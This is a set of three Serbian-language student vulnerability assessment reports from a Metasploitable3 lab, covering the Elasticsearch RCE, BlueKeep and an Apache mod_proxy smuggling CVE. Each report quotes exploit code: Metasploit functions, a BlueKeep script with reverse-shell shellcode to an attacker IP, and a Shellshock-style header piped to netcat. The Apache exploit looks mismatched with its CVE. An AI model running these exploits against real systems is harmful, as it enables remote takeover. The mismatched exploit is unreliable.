1. Vulnerability Assessment Report Template

Ime i prezime: Ivana Ilijin
Tim: 12
Datum: 27.10.2024.
Scan Tool: Nessus (10.8.3)
Test okruženje: Metasploitable3

Elasticsearch ‘source’ Parameter RCE

1. Enumeracija CVE-a

- **CVE ID: CVE-2014-3120**

- **Opis:**

  Elasticsearch ‘source’ Parameter RCE (remote code execution) - Elasticsearch aplikacija koja se nalazi na udaljenom veb serveru poseduje ranjivost daljinskog izvršavanja koda (remote code execution) usled nedovoljne zaštite korisničkog unosa za ’source’ parametar na ’/_search’ endpointu. Podrazumevana konfiguracija Elasticsearch-a pre verzije 1.2 omogućava dinamičko skriptovanje, te neautentifikovani udaljeni napadač može da iskoristi ovu ranjivost kako bi izvršio proizvoljan Java kod ili manipulisao fajlovima na udaljenom serveru, uključujući i osetljive podatke.

  Ime servisa: **Elasticsearch.**

  Port: **9200** za klijentske zahteve odnosno REST API komunikaciju

  Protokol: **HTTP** za klijentske zahteve.

2. CVSS skor

- **CVSS skor (numerička vrednost): 6.3**
- **Vektor:**
  CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L
  AV = Attack Vector:Network. Attack Vector opisuje na koji način je eksploatacija moguća. Network ukazuje na to da se napad može izvršiti putem interneta.

AC = Attack Complexity:Low. Attack Complexity opisuje koliko je složen napad, odnosno koliko je teška eksploatacija. Low ukazuje na to da napadač ne mora da potroši puno vremena u istraživanju sistema, odnosno ne mora da ima mnogo znanja i da sa lakoćom može da uspešno izvrši napad.

PR = Privileges Required:None. Privileges Required opisuje nivo privilegija koje napadač treba da poseduje. None ukazuje na to da napadač ne mora da poseduje nalog i privilegije kako bi pristupio podacima ili nekim funkcijama.

UI = User Interaction:Required. User Interaction opisuje da li je potrebna interakcija korisnika, kao što je klik na link ili datoteku. Required označava da je neophodna interakcija za eksploataciju.

S = Scope:Unchanged. Scope označava da li ranjivost softverske komponente može da utiče na druge komponente. Unchanged ukazuje na to da je opseg nepromenjen, odnosno da ranjivost ne utiče na druge komponente, već samo na ranjivu komponentu.

C = Confidentiality Impact:Low. Confidentiality Impact opisuje kako ranjivost utiče na poverljivost. Low ukazuje da je uticaj na poverljivost niska. Napadač može doći do nekih podataka i informacija, ali nema podatke o tome koja je količina dobijena.

I = Integrity Impact:Low. Integrity Impact označava uticaj na integritet. Low ukazuje na to da je moguća izmena podataka od strane napadača, ali je ograničen u tome, nema potpunu kontrolu da menja podatke.

A = Availability Impact:Low. Availability Impact ukazuje na dostupnost sistema. Low ukazuje na nizak uticaj na dostupnost. Napadač ne može u potpunosti da onemogući uslugu servisa korisnicima.

- **Opravdanje:**

  Ranjivost CVE-2014-3120 ima CVSS skor 6.3 i zato pripada srednjoj kategoriji. Ozbiljnost, odnosno nivo pretnje je medium (srednja).

  Napadač može izvršiti eksploataciju sa malo potrošenog vremena za istraživanje i malo znanja, pri čemu ne mora da poseduje nalog i privilegije kako bi pristupio podacima. Napad se može izvršiti putem interneta. Iz ugla eksploatabilnosti, napad se lako može izvršiti i utiče na skor da bude viši. Uticaj na poverljivost, integritet i dostupnost je niska, dok je obim ranjivosti je nepromenjen i utiče samo na tu komponentu. Impact i obim ranjivosti utiču na to da skor bude niži, te je konačna vrednost 6.3 i nivo ozbiljnosti ranjivosti je srednji.

3. Dostupnost eksploita

- **Postoji javno dostupan eksploit (Da/Ne): Da**

https://github.com/rapid7/metasploit-framework/blob/master//modules/exploits/multi/elasticsearch/script_mvel_rce.rb

- **Opis eksploita:**

  Eksploit je Metasploitable modul koji se zasniva na daljinskom izvršavanju komandi (RCE) u Elasticsearch-u. Eksploit cilja funkciju pretrage, koja omogućava izvršavanje dinamičkih skripti. REST API ne zahteva autentifikaciju, pa samim tim ni autorizaciju, čime je omogućeno izvršavanje proizvoljnog Java koda. Napadač može da izvrši Java kod, te može preuzeti kontrolu nad serverom ili da manipuliše podacima, što podrazumeva izmenu podataka.

- **Kod eksploita (ukoliko postoji):**
  Srž exploita jeste funkcija *exploit* prikazana na slici 1. Funkcija vrši napad na Elasticsearch pomoću ranjivosti koja omogućava izvršavanje proizvoljnog Java koda.

  Funkcija exploit:

  - Najpre se poziva *vulnerable* funkcija koja proverava da li je server ranjiv, ako nije, prekida se izvršavanje.
  - Poziva se funkcija *execute (*slika 2*),* koja šalje Java kod i vraća naziv operativnog sistema.
  - Poziva se java_tmp_dir kako bi se otkrila putanja do temp direktorijuma. Zatim se generiše ime za jar datoteku. Ako se ne otkrije putanja do temp direktorijuma, datoteka će se smestiti u definisan direktorijum.
  - *Register_file_for_cleanup* služi da obezbedi da se datoteke obrišu nakon izvršavanja kako se ne bi otkrio napad
  - *Execute(java_payload(jar_file))* funkcija poziva REST API kako bi izvršio maliciozni kod na endpointu search koji omogućava izvršavanje skripti.

  Funkcija execute (koristi se da bi se poslao maliciozan kod na Elasticsearch server):

  - Payload objekat je JSON struktura i predstavlja zahtev za pretragu (script_fields je deo payload objekta koji omogućava izvršavanje Java koda)
  - *Send_request_cgi* koristi podatke iz payload-a i šalje HTTP POST zahtev ka Elasticsearch serveru.

```
def exploit
  print_status("Trying to execute arbitrary Java...")
  unless vulnerable?
    fail_with(Failure::Unknown, "#{peer} - Java has not been executed, aborting...")
  end

  print_status("Discovering remote OS...")
  res = execute(java_os)
  result = parse_result(res)
  if result.nil?
    fail_with(Failure::Unknown, "#{peer} - Could not identify remote OS...")
  else
    # TODO: It'd be nice to report_host() with this info.
    print_good("Remote OS is '#{result}'")
  end

  jar_file = ""
  if result =~ /win/i
    print_status("Discovering TEMP path")
    res = execute(java_tmp_dir)
    result = parse_result(res)
    if result.nil?
      fail_with(Failure::Unknown, "#{peer} - Could not identify TEMP path...")
    else
      print_good("TEMP path identified: '#{result}'")
    end
    jar_file = "#{result}#{rand_text_alpha(3 + rand(4))}.jar"
  else
    jar_file = File.join(datastore['WritableDir'], "#{rand_text_alpha(3 + rand(4))}.jar")
  end

  register_file_for_cleanup(jar_file)
  execute(java_payload(jar_file))
end
```

Slika 1. Funkcija *exploit*

```
def execute(java)
  payload = {
    "size" => 1,
    "query" => {
      "filtered" => {
        "query" => {
          "match_all" => {}
        }
      }
    },
    "script_fields" => {
      "msf_result" => {
        "script" => java
      }
    }
  }

  res = send_request_cgi({
    'uri'    => normalize_uri(target_uri.path.to_s, "_search"),
    'method' => 'POST',
    'data'   => JSON.generate(payload)
  })

  return res
end
```

Slika 2. Funkcija *execute*

---

4. Analiza uzroka (root cause)

- **Uvođenje Greške (Commit/Verzija):**

  Greška je uvedena u 1.1.1 verziji Elasticsearch-a zbog sledećih razloga:

  - Uključeno je dinamičko izvršavanje skripti – korisnici mogu da šalju skripte na server kroz Elasticsearch, pomoću search zahteva i source parametra
  - Funkcionalnost procene izraza pomoću MVEL jezika koji nema sandbox mehanizam zaštite koji bi izolovao kod da se smanji rizik malicioznih operacija
  - API dostupan putem HTTP-a i nema CSRF zaštitu
  - ElasticSearch nema mehanizam za autentifikaciju, a ni mehanizam uloga, te kada se napadač poveže sa klasterom ima punu kontrolu nad njim.

- **Primer Koda (ako je primenljivo):**

  Nema primera koda, ali su iznad objašnjeni uzroci greške : dinamičko izvršavanje skripti, funkcionalnost procene izraza pomoću MVEL jezika, HTTP API bez CSRF zaštite i nema autentifikacije.

---

5. Preporuke za mitigaciju

- **Da li je dostupan Vendor Fix ili patch (Da/Ne): Da**

- **Mitigation Strategy:**
  Mitigacija CVE-2014-3120 podrazumeva ažuriranje na 1.2 ili noviju verziju Elasticsearch-a.

  Za Windows preuzeti verzije od 1.2 ili novije, raspakovati preuzetu zip datoteku i premestiti fajlove u folder gde je bila prethodna verzija.

  Komande za Ubuntu:

  sudo apt-get update
  sudo apt-get install elasticsearch
  sudo systemctl restart elasticsearch

- **Alternativni fix (ukoliko ne postoji vendorski):**

  Alternativno, moguće je onemogućiti dinamičko skriptovanje kako bi se sprečilo daljinsko izvršavanje koda tako što se doda linija koda: script.disable_dynamic: true u elasticsearch.yml fajl. Dodatno, potrebno je dodati autentifikaciju ili CSRF (Cross-Site Request Forgery) zaštitu (pomoću CSRF tokena koji će sprečiti neovlašćen pristup ili postavljanjem CORS pravila kako bi samo ograničeni izvori mogli da šalju zahteve ka serveru).

2. Vulnerability Assessment Report Template

Ime i prezime: Ivana Ilijin
Tim: 12
Datum: 3.11.2024
Scan Tool: Nessus (10.8.3)
Test okruženje: Metasploitable3

1. Enumeracija CVE-a

- **CVE ID: CVE-2019-0708**

- **Opis:**
  Microsoft RDP RCE (BlueKeep) (Ranjivost za daljinsko izvršavanje koda u protokolu za daljinsku desktop vezu) - Ranjivost se odnosi na RDP (Remote Desktop Protocol) pomoću kog je moguće daljinski pristupiti drugim računarima. Neautentifikovani napadač može da se poveže na sistem putem RDP-a i šalje posebno oblikovane zahteve, čime dobija mogućnost izvršavanja proizvoljnog koda.

  RDP (Remote Desktop Protocol) koristi TCP (Transmission Control Protocol) port 3389 za komunikaciju između klijenta i servera.

2. CVSS skor

- **CVSS skor (numerička vrednost): 9.8**
- **Vektor:**
  CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

  AV = Attack Vector:Network. Attack Vector opisuje na koji način je eksploatacija moguća. Vrednost Network označava da se napad može izvršiti putem interneta.

  AC = Attack Complexity:Low. Attack Complexity opisuje koliko je složen napad, odnosno koliko je teška eksploatacija. Low ukazuje na to da napadač ne mora da potroši puno vremena u istraživanju sistema i ne mora da ima mnogo znanja. Napadač sa lakoćom može da uspešno izvrši napad.

  PR = Privileges Required:None. Privileges Required opisuje nivo privilegija koje napadač treba da poseduje. None ukazuje na to da napadač ne mora da poseduje nalog i privilegije kako bi pristupio podacima ili nekim funkcijama.

UI = User Interaction:None. User Interaction opisuje da li je potrebna interakcija korisnika, kao što je klik na link ili datoteku. None ukazuje na to da nije neophodna interakcija korisnika za eksploataciju.

S = Scope:Unchanged. Scope označava da li ranjivost softverske komponente može da utiče na druge komponente. Unchanged ukazuje na to da je opseg nepromenjen. Ranjivost ne utiče na druge komponente, već samo na ranjivu komponentu.

C = Confidentiality Impact:High. Confidentiality Impact opisuje kako ranjivost utiče na poverljivost. High ukazuje da je uticaj na poverljivost visoka. Napadač može doći do osetljivih resursa ranjive komponente, što narušava poverljivost.

I = Integrity Impact:High. Integrity Impact označava uticaj na integritet. High ukazuje na to da je integritet narušen. Napadač može da menja ili briše sve podatke komponente. Alternativno, može menjati samo neke fajlove, ali su posledice i dalje ozbiljne.

A = Availability Impact:High. Availability Impact ukazuje na dostupnost sistema. High ukazuje na visok uticaj na dostupnost. Napadač u potpunosti može da onemogući uslugu servisa korisnicima.

- **Opravdanje:**
  Ranjivost CVE-2019-0708 ima CVSS skor 9.8 zbog čega pripada kategoriji kritičnih ranjivosti.
  Napad se može izvršiti putem interneta, pri čemu napadač može sa lakoćom da izvrši napad jer mu nije potrebno mnogo znanja ili istraživanja da bi eksploatacija bila uspešna. Takođe, napadač ne mora da poseduje nalog ili privilegije za napad i nije potrebna interakcija korisnika za napad. Opseg je nepromenjen, ali su poverljivost, integritet i dostupnost narušeni. Sve navedeno doprinosi visokom CVSS skoru 9.8, što ukazuje na to da je ova ranjivost kritična.

3. Dostupnost eksploita

- **Postoji javno dostupan eksploit (Da/Ne):** Da

  https://packetstormsecurity.com/files/162960/Microsoft-RDP-Remote-Code-Execution.html

- **Opis eksploita:**
  Exploit jeste Python skripta koja vrši eksploataciju BlueKeep ranjivosti. Cilj exploit-a je da se iskoristi ranjivost u Remote Desktop Protocol-u (RDP) kako bi bilo moguće

daljinsko izvršavanje koda (RCE). Napadač dobija pristup ciljanom serveru, što bi bi bila posledica ovog exploita. Sledi detaljniji opis exploita, kao i samog koda.

- **Kod eksploita (ukoliko postoji):**

    - **Inicijalizacija i uspostavljenje veze –** postavljaju se osnovni parametri, lhost (lokalna IP adresa), lport (lokalni port), rhost (adresa ciljanog sistema) i rport (port za RDP – 3389). Kroz socket u Pythonu se uspostavlja veza sa udaljenim RDP serverom tako što se koristi TCP.
    - **Slanje početnih RDP paketa –** ovi paketi omogućavaju komunikaciju i inicijalizuju SSL vezu.
    - **Postavljanje TLS enkripcije –** koristi se OpenSSL modul za TLS šifrovanje što omogućava razmenu podataka sa serverom bez presretanja.
    - **Eksploatacija kroz oslobađanje i korišćenje memorijskog objekta** (Use-After-Free (UAF) napad) - najpre se oslobađa memorijski blok, a zatim se ubrizgava maliciozan kod tako što se koristi ‘pool spraying’ tehnika.
    - **Shellcode** – shellcode omogućava TCP vezu sa serverom ka napadaču. Nakon što se izvrši shellcode, napadač ima pristup serveru i može da izvršava proizvoljne komande.
    - **Okidanje Used-After-Free** - izvršava se exploit i završava se UAF napad. Napadač dobija kontrolu nad sistemom kroz otvoreni shell.
    - **Zatvaranje konekcije** – *tls.close()* zatvara TLS vezu i završava se napad.

```
if __name__ == "__main__":

    channels = ['rdpdr', 'MS_T120', 'rdpsnd']
    totalMCSChannels = len(channels) + 2
    origId = 1003
    lhost = '192.168.0.175'
    lport = 4444
    rhost = argv[1]
    rport = 3389

    print
    print '[*] CVE-2019-0708 (BlueKeep) RCE Exploit [*]'
    print '@straight_blast ; straightblast426@gmail.com'
    print

    print '[-] Establishing Connection'

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((rhost, rport))

    data = sendX224Request(s)
    #print "x224 Connection Response: " + data.encode('hex')

    ctx = SSL.Context(SSL.TLSv1_METHOD)
    tls = SSL.Connection(ctx, s)
    tls.set_connect_state()
    tls.do_handshake()

    data = sendMCSGCC(tls, channels)
    #print "MCS GCC Response: " + data.encode('hex')

    sendErectDomainRequest(tls)

    data = sendAttachUserRequest(tls)
    #print "Attach User Response: " + data.encode('hex')

    initiator = unpack('>I', data[-2:].rjust(4,'\x00'))[0]
    #print "Initiator: " + str(initiator)

    for i in xrange(totalMCSChannels):
        data = sendChannelJoinRequest(tls, initiator, origId + i)
        #print "Join Confirm Response (" + str(origId + i) + "): " + data.encode('hex')

    data = sendClientInfo(tls)
    #print "Error Alert: " + data.encode('hex')

    data = tls.recv(8000)
    #print "Demand Active PDU: " + data.encode('hex')
    sendConfirmActivePDU(tls, initiator, origId + totalMCSChannels - 1)

    data = sendRdpPduType_Synchronize(tls, initiator, origId + totalMCSChannels - 1)
    #print "RDP PDU Type: Synchronize Response: " + data.encode('hex')

    data = sendRdpPduType_Control_Action_Cooperate(tls, initiator, origId + totalMCSChannels - 1)
    #print "RDP PDU Type: Control, Action: Cooperate Response: " + data.encode('hex')

    data = sendRdpPduType_Control_Action_RequestControl(tls, initiator, origId + totalMCSChannels - 1)
    #print "RDP PDU Type: Control, Action: Granted Control Response: " + data.encode('hex')

    data = sendRdpPduType_FontList(tls, initiator, origId + totalMCSChannels - 1)
    #print "RDP PDU Type: Fontmap Response: " + data.encode('hex')

    data = readFromVirtualChannel(tls)
    #print "RDPDR and RDPSND are now loaded"

    print '[-] Connection Stablized'

    print '[-] Freeing Object'
    free_mst120_channel = 'A' * 8 + '\x02' + '\x00' * 7
    sendToVirtualChannel(tls, free_mst120_channel, initiator, 1005)
```

Slika 1. Prvi deo exploit koda

```
    print '[-] Taking Over Freed Object And Pool Spraying'

    pool_size = 0x630

    pool_address = 0xfffffa80055ff980
    #pool_address = 0xfffffa800b5ff980

    pool_storage_address = pool_address + 0x48
    pool_shellcode_address = pool_address + 0x50

    fake_channel_object = '\x00' * 200 + pack('<Q', pool_storage_address) + '\x00' * 88

    # Reference: msfvenom --platform windows -p windows/x64/shell_reverse_tcp LHOST=192.168.0.175 LPORT=4444 -f python
    reverse_shell =
'\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\
+ pack('>H', lport) + socket.inet_aton(lhost) +
'\x41\x54\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\

    shellcode = makeKernelUserPayload(reverse_shell, pool_size)

    payload = pack('<Q', pool_shellcode_address) + shellcode
    for i in xrange(0x1000):
       sendToVirtualChannel(tls, fake_channel_object, initiator, 1006)
       for i in xrange(10):
          sendToVirtualChannel(tls, payload, initiator, 1006)

    #raw_input('Press Enter To Trigger UAF')
    print '[-] Triggering Used After Free'
    print
    print '[*] Enjoy Shell :) [*]'
    print
    tls.close()
```

Slika 2. Drugi deo exploit koda

4. Analiza uzroka (root cause)

- **Uvođenje Greške (Commit/Verzija):**

  Ranjivosti CVE-2019-0708 postoji zbog nedovoljno zaštićene Remote Desktop Protocol (RDP) sesije u Microsoft RDP serveru. Root cause jeste u Windows RDP kernel drajveru koji omogućava napadaču da koristi Use-After-Free (UAF) ranjivost.

- **Primer Koda (ako je primenljivo):**

  Nije dostupan primer koda, ali je objašnjeno šta je root cause.

5. Preporuke za mitigaciju

- **Da li je dostupan Vendor Fix ili patch (Da/Ne):** Da.
- **Mitigation Strategy:**

  Microsoft je obezbedio ažuriranja za Windows 7, Windows Server 2008 i Windows Server 2008 R2. Takođe, obezbeđen je patch za verzije koje više nisu podržane, kao što su Windows XP, Windows XP Professional, Windows XP Embedded i Windows Server 2003.

Komanda za Windows Update: powershell –Command “Install-WindowsUpdate”

- **Alternativni fix (ukoliko ne postoji vendorski):**
    - **Onemogućiti RDP** (Remote Desktop Protocol) ukoliko nije neophodan.

      Komanda za onemogućavanje RDP:
      Reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v "fDenyTSConnections" /t REG_DWORD /d 1 /f

    - **Omogućiti Network Level Authentication (NLA)** na sistemima koji koriste verzije Windows 7, Windows Server 2008 i Windows Server 2008 R2. Kada je NLA uključen, napadač prvo mora da se autentifikuje na RDS (Remote Desktop Services) i poseduje nalog na sistemu.

      Komanda za omogućavanje NLA:
      Reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v "UserAuthentication" /t REG_DWORD /d 1 /f

    - **Blokirati TCP port 3389 na Firewall-u**. Blokiranjem TCP porta 3389 na firewall-u se sprečava da se napadači putem interneta povežu na sisteme koji koriste RDP. Međutim, sistemi i dalje mogu biti ranjivi na napade koji dolaze iz unutrašnje mreže.

      Komanda za Windows Firewall:
      New-NetFirewallRule -DisplayName "Block RDP" -Direction Inbound -Protocol TCP -LocalPort 3389 -Action Block

3. Vulnerability Assessment Report Template

Ime i prezime: Ivana Ilijin
Tim: 12
Datum: 4.11.2014.
Scan Tool: Nessus (10.8.3)
Test okruženje: Metasploitable3

1. Enumeracija CVE-a

- **CVE ID: CVE-2023-25690**

- **Opis:** Deljenje zahteva pomoću mod_rewrite i mod_proxy - Ranjivost CVE-2023-25690 je nastala jer neke mod_proxy konfiguracije na Apache HTTP Server verzijama od 2.4.0 do 2.4.55 mogu omogućiti HTTP Request Smuggling napad. Ranjivost se pojavljuje kada je omogućen mod_proxy zajedno sa direktivama RewriteRule ili ProxyPassMatch i omogućava napadaču da podmetne posebno oblikovan zahtev, što može dovesti do zaobilaženja pristupnih kontrola, neautorizovanog prosleđivanja URL-ova ka serveru i trovanja keša (cache poisoning).

  Ime servisa: **Apache HTTP Server**

  Port: **8080**

  Protokol: **HTTP**

2. CVSS skor

- **CVSS skor (numerička vrednost): 9.8**
- **Vektor:**
  CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

  AV = Attack Vector:Network. Attack Vector opisuje na koji način je eksploatacija moguća. Vrednost Network označava da se napad može izvršiti putem interneta.

  AC = Attack Complexity:Low. Attack Complexity opisuje koliko je složen napad, odnosno koliko je teška eksploatacija. Low ukazuje na to da napadač ne mora da potroši puno

vremena u istraživanju sistema i ne mora da ima mnogo znanja. Napadač sa lakoćom može da uspešno izvrši napad.

PR = Privileges Required:None. Privileges Required opisuje nivo privilegija koje napadač treba da poseduje. None ukazuje na to da napadač ne mora da poseduje nalog i privilegije kako bi pristupio podacima ili nekim funkcijama.

UI = User Interaction:None. User Interaction opisuje da li je potrebna interakcija korisnika, kao što je klik na link ili datoteku. None ukazuje na to da nije neophodna interakcija korisnika za eksploataciju.

S = Scope:Unchanged. Scope označava da li ranjivost softverske komponente može da utiče na druge komponente. Unchanged ukazuje na to da je opseg nepromenjen. Ranjivost ne utiče na druge komponente, već samo na ranjivu komponentu.

C = Confidentiality Impact:High. Confidentiality Impact opisuje kako ranjivost utiče na poverljivost. High ukazuje da je uticaj na poverljivost visoka. Napadač može doći do osetljivih resursa ranjive komponente, što narušava poverljivost.

I = Integrity Impact:High. Integrity Impact označava uticaj na integritet. High ukazuje na to da je integritet narušen. Napadač može da menja ili briše sve podatke komponente. Alternativno, može menjati samo neke fajlove, ali su posledice i dalje ozbiljne.

A = Availability Impact:High. Availability Impact ukazuje na dostupnost sistema. High ukazuje na visok uticaj na dostupnost. Napadač u potpunosti može da onemogući uslugu servisa korisnicima.

- **Opravdanje:**

  Ranjivost CVE-2023-25690 ima CVSS skor 9.8, te pripada kategoriji kritičnih ranjivosti. Eksploatacija se može izvršiti putem interneta, pri čemu napadač može sa lakoćom da izvrši napad jer mu nije potrebno mnogo znanja ili istraživanja da bi eksploatacija bila uspešna. Napadač ne mora da poseduje nalog ili privilegije za napad, a interakcija korisnika nije neophodna kako bi se napad izvršio. Opseg je nepromenjen, ali su poverljivost, integritet i dostupnost narušeni. Sve navedeno iz ugla eksploatabilnosti, impact-a i obima ranjivosti doprinosi visokom CVSS skoru 9.8, te je ova ranjivost kritična.

3. Dostupnost eksploita

- **Postoji javno dostupan eksploit (Da/Ne): Da**

https://packetstormsecurity.com/files/176334/Apache-2.4.55-mod_proxy-HTTP-Request-Smuggling.html

- **Opis eksploita:**

  Exploit koristi ranjivost kod Apache HTTP Servera kada je aktiviran modul mod_proxy zajedno sa direktivama RewriteRule i ProxyPassMatch. HTTP Request Smuggling omogućava napadaču da šalje posebno oblikovan zahtev koji se može podeliti i podmetnuti, te tako napadač može da zaobiđe kontrole pristupa i ostvari pristup resursima na serveru koji inače nisu dostupni.

- **Kod eksploita (ukoliko postoji):**

  - **Exploit-headers konfiguracija –** User-Agent poseduje sintaksu koja se koristi u Shellshock exploitima, što je ranjivost u Bash shell-u. Ostatak šalje dva HTTP GET zahteva koristeći nc (netcat) komandu ka određenom hostu i portu.
  - **Exploit_url** sadrži komponentu za prolazak kroz direktorijume (../). Koristi se kako bi se pokušalo pristupiti direktorijumima iznad web root-a, izlažući osetljive fajlove ili informacije.
  - Slanje **HTTP GET** zahteva na exploit_url
  - Poziv **send_exploit** funkcije

  Ukoliko server prima zahtev sa malicioznim User-Agent zaglavljem i ako ne validira ili obrađuje zaglavlja, napadaču je omogućeno da šalje više HTTP zahteva unutar jednog (HTTP Request Smuggling).

```
import requests

def send_exploit(proxy_url):
    exploit_headers = {
        'User-Agent': '() { :; }; /bin/echo -e "GET /here/../here HTTP/1.1\r\nHost: www.example.com\r\n\r\nGET
/nonexistent HTTP/1.1\r\nHost: www.example.com\r\n\r\n" | nc example.com 80',
        'Connection': 'close'
    }

    exploit_url = 'http://example.com/here/../here'
    response = requests.get(exploit_url, headers=exploit_headers, proxies={'http': proxy_url, 'https': proxy_url})

    print(response.text)

# Usage
send_exploit('http://localhost:8080')
```

Slika 1. Kod exploita

4. Analiza uzroka (root cause)

- **Uvođenje Greške (Commit/Verzija):**

  Root cause je nedostatak provere argumenta zahteva (r-> args) na prisustvo nepropisnih karaktera, kao što su kontrolni karakteri ili razmaci, kako bi sistem odbio takve zahteve.
  .
- **Primer Koda (ako je primenljivo):**

  Nije dat primer koda jer je u pitanju nedostatak validacije.

5. Preporuke za mitigaciju

- **Da li je dostupan Vendor Fix ili patch (Da/Ne): Da**
- **Mitigation Strategy:**
  Mitigacija CVE-2023- 25690 podrazumeva ažuriranje na najmanje 2.4.56 verziju Apache HTTP Servera.

  Uputstva za Windows:

  - Otići na zvaničnu stranicu Apache HTTP Server.
  - Preuzeti verziju 2.4.56 za Windows.

  Komande za Ubuntu:
  sudo apt update
  sudo apt install apache2=2.4.56-1ubuntu1

Patch za proveru nepropisnih karaktera:

```
search = r->args;
if (search && *(ap_scan_vchar_obstext(search))) {
    /*
     * We have a raw control character or a ' ' in r->args.
     * Correct encoding was missed.
     */
     ap_log_rerror(APLOG_MARK, APLOG_ERR, 0, r, APLOGNO(10407)
                   "To be forwarded query string contains control "
                   "characters or spaces");
     return HTTP_FORBIDDEN;
}
```

Slika 2. Primer patch-a